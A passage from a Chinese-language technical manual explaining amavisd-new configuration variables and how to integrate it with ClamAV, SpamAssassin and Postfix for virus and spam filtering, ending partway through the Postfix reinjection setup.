功能：如果以root用户启动，那么使用设置的用户和组来运行守护进程。

例如：$daemon_user = 'vscan';

$daemon_group = 'vscan';

$TEMPBASE

功能：运行时工作的临时目录（cwd），用于存放由邮件取出的内容。注意在指定的目录中，结尾没有斜线，可以是一个临时文件系统。

例如：

$TEMPBASE =$MYHOME;

$TEMPBASE ="$MYHOME/tmp";

$db_home

功能：数据库的目录。

默认：$db_home ="$MYHOME/db";

例如：$db_home ="$MYHOME/db";

$daemon_chroot_dir

功能：运行在指定的chroot jail 中。默认为“undef”，意味着不使用chroot。

例如：$daemon_chroot_dir =$MYHOME;

$pid_file

功能：指定amavisd 进程的pid文件。

例如：$pid_file ="$MYHOME/amavisd.pid";

$lock_file

功能：指定amavisd 进程的lock文件。

默认值：$lock_file ="$MYHOME/amavisd.lock";

$ENV{TMPDIR}

功能：如果你愿意可以使用该变量来设置环境变量，该变量没有默认值。

例如：$ENV{TMPDIR}=$TEMPBASE;

$enable_db

功能：使用BerkeleyDB/libdb、SNMP 和nanny时会使用这个功能。

例如：$enable_db = 1;

$enable_global_cache

功能：如果设置$enable_db=1，那么使用基于libdb 的缓存。

例如：$enable_global_cache = 1;

$enable_dkim_verification

功能：启用DKIM 签名验证。

例如：$enable_dkim_verification = 1;

$enable_dkim_signing

功能：载入DKIM 签名代码、由dkim_key定义的key。

例如：enable_dkim_signing = 1;

第二部分：MTA的具体配置。

这一部分使用默认值就可以了。

$inet_socket_port = 10024;

SMTP服务器（INPUT）协议设置。

$insert_received_line = 1;

类似于MTA的行为。插入“Received:”头，但如果是sendmail/milter，就不会插入。默认值为“1”，即为真。

AMAVIS客户端协议的设置（例如amavisd-release或sendmail milter）。

$UNIX_socketname ="$MYHOME/amavisd.sock";

$UNIX_socketname = undef;

SMTP 服务器（INPUT）协议设置（例如 Postfix 和Exim v4 ……）。

$inet_socket_port = 10024;

SMTP服务器（INPUT）访问控制。

不允许自由访问 amavisd SMTP 端口！当 MTA 与其在同一台主机时，那么使用下面的一个或者两个设置。

$inet_socket_bind = '127.0.0.1';

限制套接字绑定在回环接口，默认值是“127.0.0.1”。

@inet_acl = qw(127.0.0.1 [::1]);

仅允许SMTP从“127.0.0.1”的IP访问，默认值为“qw(127.0.0.1 [::1])”。

当有一个或者是多个 MTA 在不同的主机上时，使用下面的设置，根据实际需要调整控制列表，同时要对绑定的IP做调整。

@inet_acl = qw(127.0.0.0/8 [::1] 10.1.0.1 10.1.0.2);

$inet_socket_bind = undef;

如果设置为“undef”，那么绑定所有的IP。

示例如下。

@inet_acl = qw(127/8 10/8 172.16/12 192.168/16);

仅允许从回环接口和rfc1918指定的私有IP地址空间的SMTP访问。

@inet_acl = qw(!192.168.1.12 172.16.3.3 !172.16.3/255.255.255.0

127.0.0.1 10/8 172.16/12 192.168/16);

允许匹配回环接口和rfc1918指定的私有IP地址空间，但是除IP地址为192.168.1.12和网络为172.16.3/24但是又除去IP地址为172.16.3.3的IP访问。

@inet_acl = qw(127/8

!172.16.3.0 !172.16.3.127 172.16.3.0/25

!172.16.3.128 !172.16.3.255 172.16.3.128/25);

允许匹配回环接口的IP地址访问，允许C类IP地址172.16.3/24的两个子网访问，但是除去所有的广播地址。

第三部分：日志。

$DO_SYSLOG

功能：如何记录日志，如果设置为“1”那么就会记录在syslog；如果设置为“0”，那么就会记录在日志文件。

默认值：$DO_SYSLOG = 0;

例如：$DO_SYSLOG = 1;

syslog_ident

功能：如果是要记录在syslog，那么要对发送的日志做标记，即表示是谁发送的日志。

默认值：$syslog_ident = 'amavis';

$syslog_facility

功能：设定syslog 的日志级别。可选的级别有mail、daemon、user、local0、... local7、...

例如：$syslog_facility = 'mail';

$syslog_priority

功能：设定日志的优先级。可选的级别有：emerg、alert、crit、err、warning、notice、info、debug。

例如：$syslog_priority = 'debug';

$LOGFILE

功能：不使用syslog，而是将日志记入指定的文件。默认值为空，即不记录日志。

例如：$LOGFILE ="$MYHOME/amavis.log";

$log_level

功能：定义记录日志的级别。注意，不必特别遵循这个级别。

可选的级别如下。

0 包括启动/退出/失败信息, 病毒检测信息。

1 客户端传递的参数，更多感兴趣的信息。

2 及时的病毒扫描输出。

3 服务器，客户端。

4 分解部分。

5: 更多的调试信息。

默认值：$log_level = 0;

例如：$log_level = 2;

$log_recip_templ

$log_templ

功能：定制模板。例如设置$log_level=0 时，为了获取最感兴趣的日志条目，可以自己定制模板。详细参考 README.customize 文件。它的取值如果是 undef，那么表示按消息0级日志条目记录。

例如：$log_templ = undef;

第四部分：通知/DSN，弹回/退回/丢弃/通过，隔离区。

这一部分的变量也特别多，具体如下。

设定通知的编码变量。

$hdr_encoding = 'iso-8859-1';　　# MIME charset (default: 'iso-8859-1')

$hdr_encoding_qb = 'Q';　　　# MIME encoding: quoted-printable (default)

$hdr_encoding_qb = 'B';　　　# MIME encoding: base64

设定有关通知的模板。

$notify_sender_templ　= read_text("$MYHOME/notify_sender.txt");

$notify_virus_sender_templ= read_text("$MYHOME/notify_virus_sender.txt");

$notify_virus_admin_templ = read_text("$MYHOME/notify_virus_admin.txt");

$notify_virus_recips_templ= read_text("$MYHOME/notify_virus_recips.txt");

$notify_spam_sender_templ = read_text("$MYHOME/notify_spam_sender.txt");

$notify_spam_admin_templ = read_text("$MYHOME/notify_spam_admin.txt");

调用的模板文件。

read_l10n_templates('/etc/amavis/en_US');

$virus_admin　　　= "mm\@$mydomain";

指定在发现病毒时要发送邮件通知接收用户。

$mailfrom_notify_admin　= "virusalert\@$mydomain";

指定邮件的发送者。

对4类文件添加额外的标识。

@addr_extension_virus_maps　= ('virus');

@addr_extension_banned_maps　= ('banned');

@addr_extension_spam_maps　　= ('spam');

@addr_extension_bad_header_maps = ('badh');

$final_virus_destiny　= D_DISCARD;

当检查出病毒时采取的动作，默认为D_BOUNCE。

$final_banned_destiny　= D_BOUNCE;

当检查到被禁止的内容时采取的动作，默认为D_BOUNCE。

$final_spam_destiny　　= D_BOUNCE;

当检查到垃圾邮件时采取的动作，默认为D_BOUNCE。

$final_bad_header_destiny = D_PASS;

当检查出问题被称为是“bad header”的文件时采取的动作，默认为D_PASS。

对于上面的4个变量，它们的取值可以是以下4个值中的任意一个。具体的取值要根据实际决定，这4个值如下。

D_PASS不管该信件是否有问题，无论是包含有病毒还是垃圾邮件，还是被标记为“bad header”的邮件都投递给收件人；

D_DISCARD邮件将不会被投递到收件人，而且发件人也不会收到通知；

D_BOUNCE 邮件将不会被投递到收件人，但是它会通知发件人该邮件没有被投递而被“弹”回；

D_REJECT邮件将不会被投递到收件人，而且会提示发件人该邮件被拒绝。我个人建议别用这个设置，因为可是给自己带来很多麻烦——动不动就有人打来电话问，我的邮件怎么被拒绝了。

第五部分：每个收件人和每个发件人的处理，白名单等等。

@virus_lovers_maps

为了排除某些收件人不受病毒过滤限制，那么可以将它们的E-mail地址（或者是仅将域部分）添加到@virus_lovers_maps查询表中，有关查询表的使用方法请参考README.lookups中的例子。如果使用虚拟域，或者是将内部 IP 映射为外部 IP，那么要确定使用的地址格式（如是内部还是外部的地址）等，这是一个特殊的MTA。

示例如下。

@virus_lovers_maps = (

[ qw(me@lab.xxx.com !lab.xxx.com .xxx.com yyy.org) ],

{ "postmaster\@$mydomain" => 1,　# 双引号允许变量替换

'postmaster@example.com'=> 1,　# 在单引号中“@”不必加转义符

'abuse@example.com'=> 1,

'some.user@'　　=> 1,　　　# 这种情况只管收件人，而不管域部分

'boss@example.com' => 0,　　# 从不限制，即使是域匹配也是这样

'example.com'　=> 1,　　# 只针对该域，而不包括它的子域

'.example.com'　=> 1,　　# 包括本域和它的子域

},

然而通知是肯定要产生的，参考该文件中“Here is an overall picture ……”部分，被感染的邮件，如果被传递到最终的收件人那么会被添加如下额外的头信息。

X-AMaViS-Alert: INFECTED, message contains virus: ...

如果是使用Courier 或 milter 作为接口程序，那么这个头将不会被插入，这一点要注意。

设置$final_*_destiny=D_PASS 相当于让所有的收件人匹配@*_lovers_maps。

注意，在使用milter作为接口程序的情况下，如果有多个收件人，那么会出现整体不接收或丢弃邮件的现象。如果这多个收件人都是病毒爱好者（virus lover），那么我们接收邮件，但是如果至少一个收件人不是病毒爱好者，那么我们将不接收邮件，而是将它丢弃。

@bypass_virus_checks_maps

它的使用类似于@virus_lovers_maps。使用@bypass_virus_checks_maps能够跳过全部的解码、拆包和病毒检测，但是仅在所有的收件人匹配这个查询表的情况下如此。@bypass_virus_checks_maps不保证邮件不被检测病毒——如果在所有的收件人中有一个不和查询表中匹配那么同样将发生病毒检测，或者是当检测结果被缓存的时候（例如，同样的内容最近被发送过给其他收件人）。为了保证病毒的投递，收件人也必须匹配@virus_lovers_maps查询表（但是要参考milter限制）。

示例如下。

@bypass_virus_checks_maps = (1); # controls running of anti-virus code

下面的4种组合是可能出现的检测情况。

bypass lover

0　　0　有用，检测恶意软件并阻止它；

0　　1　有用，检测但是不投递，可能会被打标签；

1　　0　没有太大的用处，从缓存中坐享其成或者是其他人检测；

1　　1　有用，如果可能的话不检查，并且没有影响。

垃圾邮件变量。

@spam_lovers_maps

不限制垃圾邮件的用户。

示例如下。

@spam_lovers_maps = (

["postmaster\@$mydomain", 'postmaster@example.com', 'abuse@example.com'],

);

@bad_header_lovers_maps

有问题的邮件，被称为bad header。

示例如下。

@bad_header_lovers_maps = (

["postmaster\@", "abuse\@$mydomain"],

);

此外，还有其他一些可选择使用的变量，详细情况参考配置文件。

信封上的发件人软-白名单/软-黑名单。

这种方法替代了硬-白名单/硬-黑名单，这种软的方法就是添加得分（处罚）来改变从某一个发件人发来的邮件。注意一点，对于这个分值，正值倾向于黑名单，而负值倾向于白名单，这和SA的规则类似。

@score_sender_maps = ({ # a by-recipient hash lookup table

# # per-recipient personal tables (NOTE: positive: black, negative: white)

# 'user1@example.com'　=> [{'bla-mobile.press@example.com'　=> 10.0}],

# 'user3@example.com'　=> [{'.ebay.com'　　　　　　=> -3.0}],

# 'user4@example.com'　=> [{'cleargreen@cleargreen.com'　　=> -7.0,

#　　　　　　'.cleargreen.com'　　　　　=> -5.0}],

# site-wide opinions about senders (the '.' matches any recipient)

'.' => [ # the _first_ matching sender determines the score boost

new_RE(# regexp-type lookup table, just happens to be all soft-blacklist

[qr'^(bulkmail|offers|cheapbenefits|earnmoney|foryou)@'i　　　=> 5.0],

[qr'^(greatcasino|investments|lose_weight_today|market\.alert)@'I　=> 5.0],

[qr'^(money2you|MyGreenCard|new\.tld\.registry|opt-out|opt-in)@'I　=> 5.0],

[qr'^(optin|saveonlsmoking2002k|specialoffer|specialoffers)@'i　=> 5.0],

[qr'^(stockalert|stopsnoring|wantsome|workathome|yesitsfree)@'i　=> 5.0],

[qr'^(your_friend|greatoffers)@'i　　　　　　　　　=> 5.0],

[qr'^(inkjetplanet|marketopt|MakeMoney)\d*@'i　　　　　　=> 5.0],

),

# read_hash("/var/amavis/sender_scores_sitewide"),

{ # a hash-type lookup table (associative array)

'nobody@cert.org'　　　　　　　　=> -3.0,

'cert-advisory@us-cert.gov'　　　　　=> -3.0,

'owner-alert@iss.net'　　　　　　　=> -3.0,

'slashdot@slashdot.org'　　　　　　=> -3.0,

'securityfocus.com'　　　　　　　=> -3.0,

'ntbugtraq@listserv.ntbugtraq.com'　　　　=> -3.0,

'security-alerts@linuxsecurity.com'　　　=> -3.0,

'mailman-announce-admin@python.org'　　　=> -3.0,

'amavis-user-admin@lists.sourceforge.net'　　=> -3.0,

'amavis-user-bounces@lists.sourceforge.net'　=> -3.0,

'spamassassin.apache.org'　　　　　　=> -3.0,

'notification-return@lists.sophos.com'　　　=> -3.0,

'owner-postfix-users@postfix.org'　　　　=> -3.0,

'owner-postfix-announce@postfix.org'　　　=> -3.0,

'owner-sendmail-announce@lists.sendmail.org'　=> -3.0,

'sendmail-announce-request@lists.sendmail.org'　=> -3.0,

'donotreply@sendmail.org'　　　　　　=> -3.0,

'ca+envelope@sendmail.org'　　　　　　=> -3.0,

'noreply@freshmeat.net'　　　　　　=> -3.0,

'owner-technews@postel.acm.org'　　　　=> -3.0,

'ietf-123-owner@loki.ietf.org'　　　　　=> -3.0,

'cvs-commits-list-admin@gnome.org'　　　　=> -3.0,

'rt-users-admin@lists.fsck.com'　　　　=> -3.0,

'clp-request@comp.nus.edu.sg'　　　　　=> -3.0,

'surveys-errors@lists.nua.ie'　　　　　=> -3.0,

'emailnews@genomeweb.com'　　　　　　=> -5.0,

'yahoo-dev-null@yahoo-inc.com'　　　　　=> -3.0,

'returns.groups.yahoo.com'　　　　　　=> -3.0,

'clusternews@linuxnetworx.com'　　　　　=> -3.0,

lc('lvs-users-admin@LinuxVirtualServer.org')　=> -3.0,

lc('owner-textbreakingnews@CNNIMAIL12.CNN.COM') => -5.0,

# soft-blacklisting (positive score)

'sender@example.net'　　　　　　　=>　3.0,

'.example.net'　　　　　　　　　=>　1.0,

},

], # end of site-wide tables

});

信封上的收件人软-白名单/软-黑名单——全局（和收件人无关）。

仅影响垃圾邮件检测，对于病毒没有影响，也不会做其他的检查。

示例如下。

@blacklist_sender_maps = (new_RE(

qr'^(bulkmail|offers|cheapbenefits|earnmoney|foryou|greatcasino)@'i,

qr'^(investments|lose_weight_today|market\.alert|money2you|MyGreenCard)@'i,

qr'^(new\.tld\.registry|opt-out|opt-in|optin|saveonlsmoking2002k)@'i,

qr'^(specialoffer|specialoffers|stockalert|stopsnoring|wantsome)@'i,

qr'^(workathome|yesitsfree|your_friend|greatoffers)@'i,

qr'^(inkjetplanet|marketopt|MakeMoney)\d*@'i,

));

信封上的发件人白名单/黑名单——每个收件人。

示例如下。

$per_recip_blacklist_sender_lookup_tables = {

'user1@my.example.com'=>new_RE(qr'^(inkjetplanet|marketopt|MakeMoney)\d*@'i),

'user2@my.example.com'=>[qw(spammer@d1.example,org .d2.example,org)],

};

$per_recip_whitelist_sender_lookup_tables = {

'user@my.example.com' => [qw(friend@example.org .other.example.org)],

'.my1.example.com'　=> [qw(!foe.other.example,org .other.example,org)],

'.my2.example.com'　=> read_hash("$MYHOME/my2-wl.dat"),

'abuse@' => { 'postmaster@'=>1,

'cert-advisory-owner@cert.org'=>1, 'owner-alert@iss.net'=>1 },

};

第六部分：资源限制。

$smtpd_recipient_limit = 1100;

限定每个SMTP能够处理的收件人，默认为1100。

$MAXLEVELS = 14;　　# (default is undef, no limit)

限定用于保护压缩包、解压缩和病毒扫描的资源，以便阻止邮件炸弹，例如 42.zip。用于解压/解码的最大递归级别（0或undef表示不限制）。

$MAXFILES = 1500;　# (default is undef, no limit)

限定解压文件大小，大于该值的文件不再解压检测（默认undef表示不限制）。

对于所有邮件被解码的部分累计的总数，我们会设置一个最大的存储值，以防御邮件炸弹。在解码的过程中，即使部分邮件不删除（被解码的文本所替换），它们占用资源的大小也不会返回给配额池。存储器用于拆包/解码/解压。用于计算存储器配额公式的参数公式如下。

quota = max($MIN_EXPANSION_QUOTA,

$mail_size*$MIN_EXPANSION_FACTOR,

min($MAX_EXPANSION_QUOTA, $mail_size*$MAX_EXPANSION_FACTOR))

要明确一点，后面的限制推翻前面的限制。

允许 MAX_EXPANSION_FACTOR 乘以最初的邮件大小，

但是不超过 MAX_EXPANSION_QUOTA,

但是不少于 MIN_EXPANSION_FACTOR 乘以最初的邮件大小，

但是从不小于 MIN_EXPANSION_QUOTA。

$MIN_EXPANSION_QUOTA = 100*1024;

最小扩展配额，默认为undef，不强制。

$MAX_EXPANSION_QUOTA = 300*1024*1024;

最大扩展配额，默认为undef，不强制。

$MIN_EXPANSION_FACTOR = 5;

最小膨胀系数，乘以原始邮件的大小。

$MAX_EXPANSION_FACTOR = 500;

最大膨胀系数，乘以原始邮件的大小。

缓存结果的生存期，单位为秒。

病毒/垃圾邮件（virus/spam）持续有效的时间变量如下。

$virus_check_negative_ttl= 3*60;

没有感染病毒的邮件的生存期。

$virus_check_positive_ttl= 30*60;

被病毒感染的邮件的生存期。

$spam_check_negative_ttl = 10*60;

非垃圾邮件的生存期。

$spam_check_positive_ttl = 30*60;

垃圾邮件的生存期。

需要注意的一点是，缓存的大小由$*_ttl 的最大值决定，依赖于邮件数，缓存数据库会增长得相当大，合理的设置最大值为15分钟到2小时。

第七部分：外部程序，病毒扫描，SpamAssassin。

设定环境变量。

为环境变量PATH指定一个路径的字符串，各个目录之间以冒号“：”分隔。注意，最后一级目录没有斜线“/”。

注意，如果$daemon_chroot_dir 不为空，那么该目录将会和chroot指定的目录相关。

$path = '/usr/local/sbin:/usr/local/bin:/usr/sbin:/sbin:/usr/bin:/bin';

设置外部命令的查询路径。

对于外部程序来说，可以指定的一个字符串或者是一个字符串列表，首先找到的将会被使用。这些字符串使用绝对路径，或者仅仅使用一个程序的名字，它的定位最终会由$path决定。如果变量的值是空字符串或者是 undef（默认）那么将不能使用外部调用程序。可以指定可选的命令参数——只有第一个子字符串能够用于file搜索。

$file = 'file';

使用3.41以上的file工具，以避免被攻击。

$dspam = 'dspam';

设定解码器组合。

列表可以是一对名单，或者使用一个n 维组合，如[short-type, code_ref, optional-args...]，将一个缩写的类型映射到一个常规的解码器，第一个匹配的条目将会被使用。在后面参数中，前两个参数可以是路径字符串（或者是一个可以找到相关命令的一个搜索路径），或者是一个与路径相关的一个变量。

@decoders = (

['mail', \&do_mime_decode],

['asc', \&do_ascii],

['uue', \&do_ascii],

['hqx', \&do_ascii],

['ync', \&do_ascii],

['F',　\&do_uncompress,　['unfreeze','freeze -d','melt','fcat'] ],

['Z',　\&do_uncompress,　['uncompress','gzip -d','zcat'] ],

['gz',　\&do_uncompress,　'gzip -d'],

['gz', \&do_gunzip],

['bz2',　\&do_uncompress,　'bzip2 -d'],

['lzo',　\&do_uncompress,　'lzop -d'],

['rpm',　\&do_uncompress,　['rpm2cpio.pl','rpm2cpio'] ],

['cpio', \&do_pax_cpio,　　['pax','gcpio','cpio'] ],

['tar',　\&do_pax_cpio,　　['pax','gcpio','cpio'] ],

['deb',　\&do_ar,　　　'ar'],

# ['a',　\&do_ar,　　　'ar'],　# unpacking .a seems an overkill

['zip', \&do_unzip],

['7z',　\&do_7zip,　　　['7zr','7za','7z'] ],

['rar',　\&do_unrar,　['rar','unrar'] ],

['arj',　\&do_unarj,　['arj','unarj'] ],

['arc',　\&do_arc,　　　['nomarch','arc'] ],

['zoo',　\&do_zoo,　　　['zoo','unzoo'] ],

['lha',　\&do_lha,　　　'lha'],

# ['doc',　\&do_ole,　　'ripole'],

['cab',　\&do_cabextract,　'cabextract'],

['tnef', \&do_tnef_ext,　　'tnef'],

['tnef', \&do_tnef],

# ['sit',　\&do_unstuff,　　'unstuff'],　# broken/unsafe decoder

['exe',　\&do_executable,　['rar','unrar'], 'lha', ['arj','unarj'] ],

);

SpamAssassin 设置

这一部分是与SA相关的变量。

$sa_local_tests_only = 0;

如果设置为“0”，那么仅用于测试，Internet不需要访问。

如果设置为“1”，不进行SA测试，Internet可以访问。

$sa_auto_whitelist = 1;

在 SA2.63 或者是更早的版本中打开 AWL，对于 SA 3.0 则与它不相关，它的 cf 选项使用use_auto_whitelist。

$sa_mail_body_size_limit = 400*1024;

对于大于指定值的邮件不再检测，大于64k的垃圾邮件小于1%，默认为undef，不做限制，否则会浪费很多时间。

由于SpamAssassin不是我们讨论的主要内容，所以有关它的设置介绍到此为止。

第八部分：调试。

最有用的调试工具是在终端的命令行上执行如下命令。

amavisd debug

其他更好的方法还包括如下参数。

@debug_sender_maps = (["test-sender\@$mydomain"]);

@debug_sender_maps = ([qw(debug@example.com debug@example.net)]);

将调试完全打开，如果发件人匹配访问控制列表（ACL）,那么只包括匹配的消息。

@keep_decoded_original_maps = (1);

可能与@debug_sender_maps联合发挥作用，阻止所有解码的原始数据被删除（被解码后的数据所替换）。

$sa_debug = '1,all'; # defaults to

打开SpamAssassin 调试（使用命令“amavisd debug”时，调试的信息会输出到STDERR）。默认为false。

第九部分：Policy banks（动态策略切换）。

1．定义策略组

本部分可以定义一些策略组（就是一组设置），并且给它们设置一个属性名字，示例如下。

$policy_bank{'ALT'} = {

log_level => 3,

syslog_ident => 'alt-amavis',

syslog_facility => 'LOCAL3',

inet_acl => [qw(10.0.1.14)],

final_spam_destiny => D_PASS, final_bad_header_destiny => D_PASS,

forward_method => 'smtp:*:*',

notify_method => 'smtp:[127.0.0.1]:10025',

virus_admin_maps => "abuse\@$mydomain",

spam_lovers_maps => [@spam_lovers_maps, [qw(abuse@example.com)]],

spam_tag_level_maps => 2.1,

spam_tag2_level_maps => 6.32,

spam_kill_level_maps => 6.72,

spam_dsn_cutoff_level_maps => 8,

defang_spam => 1,

local_client_bind_address => '10.11.12.13',

localhost_name => 'amavis.example.com',

smtpd_greeting_banner =>

'${helo-name}${protocol}${product}${version-id} (${version-date}) TEST service ready';

auth_mech_avail => [qw(PLAIN LOGIN)],

auth_required_inp => 1,

auth_required_out => 1,

amavis_auth_user => 'amavisd', amavis_auth_pass = 'tOpsecretX',

av_scanners => [ # provide only 'free' scanners

['ClamAV-clamd',

\&ask_daemon, ["CONTSCAN {}\n", "/var/run/clamav/clamd"],

qr/\bOK$/, qr/\bFOUND$/,

qr/^.*?: (?!Infected Archive)(.*) FOUND$/,

],

],

av_scanners_backup => [

['ClamAV-clamscan', 'clamscan',

"--stdout --disable-summary -r --tempdir=$TEMPBASE {}", [0], [1],

qr/^.*?: (?!Infected Archive)(.*) FOUND$/,

],

],

};

需要注意的是，在设定策略组的属性名字时不要使用“”、“MYNETS”和“MYUSERS”这3个名字，它们有特殊的含义。详细情况就去看该文件吧，这个文件实在太长了。

2．编辑/etc/amavisd.conf文件

编辑/etc/amavisd.conf文件，在配置文件中，每一个变量配置行均以“$”开始，以“；”结束（注释行除外，注释行是以“#”开始），变量的值要使用单引号或者双引号括起来。按照前面建立的用户和组以及建立的相应目录，对该配置文件相应的变量做调整。

$daemon_user = 'amavis';

$daemon_group = ' amavis';

$mydomain = 'mail.xxx.cn';

$MYHOME = '/var/amavis';

$TEMPBASE = '$MYHOME/tmp';

$QUARANTINEDIR = '/var/virusmails'

$db_home = '$MYHOME/db'

其他的变量可以使用默认配置，但是要注意“ClamAV-clamd”设置部分，要把clamd的套接字设置正确。在以后的使用中根据实际情况调整“max_servers”的数值。

以下是可选择项，如果提供了这些可选项那么要注意$MYHOME有优先次序。另外，为了额外的安全，要让其属主为root，用户amavis没有修改的权限。

$MYHOME = '/var/amavis';

$helpers_home = "$MYHOME/home";

$pid_file = "$helpers_home/amavisd.pid";

$lock_file = "$helpers_home/amavisd.lock";

如果提供了这些可选项，就要修改/var/amavisd 的所有权限，但是/var/amavis/home的属主必须是amavis。

修改权限如下。

[root@mail ～]#chown root /var/amavis

[root@mail ～]#chown -R amavis:amavis /var/amavis/home

[root@mail ～]#chmod 750 /var/amavis /var/amavis/home

如果$TEMPBASE是使用专用的文件系统，那么在使用mount或是其他方法挂载时要谨慎地选择指定挂载选项noexec、nosuid和nodev。

3．安装病毒扫描器

在这里就不用再安装了ClamAV（因为在前面已经安装过了），并且无需调整/etc/amavisd.conf中的变量。不同的病毒扫描器对amavisd-new的运行用户及其使用的目录权限有不同的要求，根据要求修改就可以了。例如，有的病毒扫描器要求对$TEMPBASE有写的权限，因为扫描器要在此目录下创建一些辅助性的文件，那么给予病毒扫描器该目录下写的权限即可。

对于ClamAV软件，要将运行clamav的用户加入运行amavis的组中，并且要在clamd.conf配置文件中加入“AllowSupplementaryGroups yes”以便允许附加组的访问。

4．运行amavisd

运行程序amavisd，既可以用root用户，也可以用其他用户。第一次运行amavisd要利用“debug”选项，可以查看安装是否正确。

示例如下。

[root@mail amavisd-new-2.6.4-rc2]# /usr/local/sbin/amavisd debug

ERROR: MISSING REQUIRED BASIC MODULES:

UNIX::Syslog

Net::Server

Net::Server::PreFork

BEGIN failed--compilation aborted at /usr/local/sbin/amavisd line 237.

（1）amavisd命令语法

这是amavisd命令的用法。

[root@mail amavisd-new-2.6.4-rc2]# ./amavisd -h

amavisd-new-2.6.4-rc2 (20090619)

Usage:

./amavisd

[-u user] [-g group]

[-i instance_name] {-c config_file}

[-d log_level,area,...]

[-m max_servers] {-p listen_port_or_socket}

[-L lock_file] [-P pid_file] [-H home_dir]

[-D db_home_dir | -D ''] [-Q quarantine_dir | -Q '']

[-R chroot_dir | -R ''] [-S helpers_home_dir] [-T tempbase_dir]

([start] | stop | reload | debug | debug-sa | foreground |

showkeys {domains} | testkeys {domains} | genrsa file_name [nbits]

convert_keysfile file_name)

where area is a SpamAssassin debug area, e.g. all,util,rules,plugin,dkim,dcc

or:

./amavisd (-h | -V) ... show help or version, then exit

正如上面的命令帮助，你可以做如下操作。

指定用户和组；

运行时的实例名和配置文件；

记录日志的级别；

最大线程数（servers）；

监听端口及套接字（socket）；

锁文件（lock）；

pid文件；

home目录等，amavisd命令的所有设置功能都在这里了。

你可能注意到，这些不是在配置文件中也能指定吗？对，没错，但是命令行的参数总会顶替掉配置文件中的设置。命令行的选项功能见表13.9。


表13.9 amavisd命令行参数
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续表
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（2）调试

在第一次安装并配置完成后，一定要先运行调试模式，以便查出问题及时解决。

例如，以amavis用户进行调试如下。

[root@mail ～]#/usr/local/sbin/amavisd -u amavis debug

会出现大量的信息，可以查看配置的情况。

测试完成后，要确保每一项都配置正确。最后一步是安装init脚本。

（3）安装init脚本

在解压目录中有一个amavisd_init.sh文件，这是用来作为后台服务的init启动脚本，将它拷贝到/etc/init.d/目录下，并加入服务运行级别。

[root@mail amavisd-new-2.6.4-rc2]# cp amavisd_init.sh /etc/init.d/amavisd

[root@mail amavisd-new-2.6.4-rc2]#chkconfig --add amavisd

按照前面的配置适当修改启动脚本，主要是prog="/usr/local/sbin/amavisd"行。

#!/bin/sh

#

# amavisd　　This script controls the amavisd-new daemon.

#　　　(to be used with version amavisd-new-20020630 or later)

#

# chkconfig: 2345 79 31

# description: amavisd is an interface between MTA and content checkers

# processname: amavisd

# pidfile: /var/amavis/amavisd.pid

# Source function library.

. /etc/rc.d/init.d/functions

# Source networking configuration.

. /etc/sysconfig/network

prog="/usr/local/sbin/amavisd"

prog_base="$(basename ${prog})"

prog_config_file="/etc/amavisd.conf"

# Source configuration.

[ -e /etc/sysconfig/${prog_base} ] && . /etc/sysconfig/${prog_base}

## Check that networking is up.

#[ ${NETWORKING} = "no" ] && exit 0

RETVAL=0

# See how we were called.

case "$1" in

……

esac

然后就可以通过servers命令来控制amavisd-new了。




13.5.3 整合Postfix和amavisd-new


1．整合Postfix和amavisd-new

这两者的整合是通过Postfix的两个配置文件main.cf和master.cf来完成。在整合之前需要做一些确认。

（1）确定测试通过

在整合之前要确定如下两点。

① amavisd-new 已经安装，并且检测通过；

② Postfix 已经安装，并且检测通过。
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提示：

在Postfix 的main.cf配置文件中应该添加“strict_rfc821_envelopes = yes”。按照RFC 821的规定，信封的地址必须放置在一对尖括号“<>”之内，且不能有其他多余信息。

（2）对Postfix的版本要求

把amavisd-new集成到Postfix的投递流程中，需要Postfix能够将信息（messages）配送到外部的内容过滤器，因此对Postfix 最低版本的要求是Postfix release-20010228。

（3）整合过程中避免丢失正常邮件

在进行整合的过程中可能会引起合法的邮件被退信（bounce），为了避免丢失重要的邮件，因此要设置“soft_bounce = yes”。
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提示：

在“soft_bounce”设定为“yes”时，原本退信的的动作，会改为放入邮件队列重新投递。本应该响应5xx的永久错误代码会改为4xx的暂时错误代码。因此，在修改完配置文件测试新的效果时，为了避免错误的判断，可以使用“soft_bounce = yes”做个缓冲。

可以使用postconf来完成。

[root@mail ～]# postconf -e "soft_bounce = yes"

[root@mail ～]# postfix reload

这样"soft_bounce = yes"就被激活了，Postfix 将会对所有用户投递信件，在投递出错时作为临时性错误，Postfix将会把邮件保存在邮件队列（mailqueue）,暂时停止投递，直到删除该设置或是修改为"soft_bounce = no"。

一旦整合成功，一定要删除soft_bounce，或者修改为"soft_bounce = no"。这一点，可千万别忘了。

2．基本的Postfix和amavisd-new的配置

Postfix将邮件传输至amavisd-new，从时间上来说，可以是从客户端接收邮件之前，也可以是客户端接收邮件之后。从过滤方法来看，可以是全部（globally）邮件、每一个收件人（recipien）、每一个域（domain）或者每一个网卡（network interface）等等，都可以触发Postfix把邮件传输给amavisd-new。

传输方法。将一个邮件从Postfix传递到amavisd-new，然后再返回给Postfix，其内容总是保持不变。下面的内容包括两部分，一是不同的传输方法；二是不同的过滤方法。

[image: figure_0268_0106]


注意整合过程：

在下面的例子中，对于一个在线的邮件系统，这样的构建导致的麻烦会最小。这种步骤确保了过滤是在最后一刻，在过滤器开始工作之前，一些测试是为了检验投递链（delivery chain）工作。一旦过滤器开始工作，这个系统会立刻工作。

（1）为Postfix配置amavisd-new

配置amavisd-new为Postfix工作，需要解决下面两个问题。

① amavisd-new守护进程监听的是哪个端口，该端口用作与与Postfix相连的入口（incoming）。

② amavisd-new SMTP客户端使用什么IP 和端口将过滤之后的邮件（包括关于邮件信息的通知）送入（或重新送入）Postfix SMTP 投递系统。

① 配置amavisd-new 的入口连接

在配置文件amavisd.conf中，使用参数“$inet_socket_port”来设置amavisd-new的监听入口连接。

下面的例子中明确配置了amavisd-new绑定到端口10024（这也是默认的设置）。

$inet_socket_port = 10024;

② 配置amavisd-new 的回送（reinject）路径

有两个参数$forward_method和$notify_method可用来配置回送（reinject）邮件到Postfix邮件系统，通常这两个参数使用效果一样。

第一个参数$forward_method，指定amavisd-new应该将扫描完成的邮件传输到哪里；

第二个参数$notify_method，指定通知扫描完成的邮件传输到哪里。

